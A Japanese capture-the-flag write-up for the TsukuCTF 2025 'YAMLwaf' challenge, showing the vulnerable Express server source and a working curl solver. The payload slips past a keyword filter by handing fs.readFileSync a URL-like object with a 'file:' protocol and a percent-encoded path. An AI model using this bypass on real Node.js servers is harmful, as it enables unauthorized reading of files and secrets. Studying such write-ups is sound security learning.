はじめに
sudoNeko として TsukuCTF 2025 に参加しました。YAMLwafのWirteUpを書いておきます。
YAMLwaf
ソースコード
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');
const yaml = require('js-yaml');
const app = express();
app.use(bodyParser.text());
app.post('/', (req, res) => {
try {
if (req.body.includes('flag')) {
return res.status(403).send('Not allowed!');
}
if (req.body.includes('\\') || req.body.includes('/')
|| req.body.includes('!!') || req.body.includes('<')) {
return res.status(403).send('Hello, Hacker :)');
}
const data = yaml.load(req.body);
console.log(req.body);
console.log(data);
const filePath = data.file;
console.log(filePath);
if (filePath && fs.existsSync(filePath)) {
const content = fs.readFileSync(filePath, 'utf8');
return res.send(content);
} else {
return res.status(404).send('File not found');
}
} catch (err) {
return res.status(400).send('Invalid request');
}
});
app.listen(3000, () => {
console.log('Server listening on port 3000');
});
|
ここでBodyは ["/", “\”, “!!”, “<"]を含んではいけないく、flag
をつなげた状態だと答えが出ない。
しかし、const data = yaml.load(req.body);
という意味わからない処理でreq.bodyの中身をYAMLでParseしてくれる。(JSON もParseしてくれる。)
fs.readFileSyncの第一因数を調べると、公式ではstring, Buffer, URL, integerしか受け付けないと書いてあるが。href, origin, protocol, hostname, pathnameの5つのプロパティに適切の文字列があればいなんでも良い。
詳細は下のリンクで “flag という文字” を調べれば書いてあります。
https://nanimokangaeteinai.hateblo.jp/entry/2022/08/09/022238
1
2
3
4
5
6
7
| {
href: "a",
origin: "b",
protocol: "file:",
pathname: "fl%61g.txt", // この状態だとdecodeしてくれるので
hostname: ''
}
|
Solver
1
2
| curl -X POST "http://challs.tsukuctf.org:50001" -H "Content-Type: text/plain" \
-d "{file: {href: a, origin: b, protocol: 'file:' , pathname : 'fl%61g.txt', hostname: ''}}"
|
FIN
今回はチームメイトが優秀すぎて、YAMLWaf しか解いてないです。対ありです。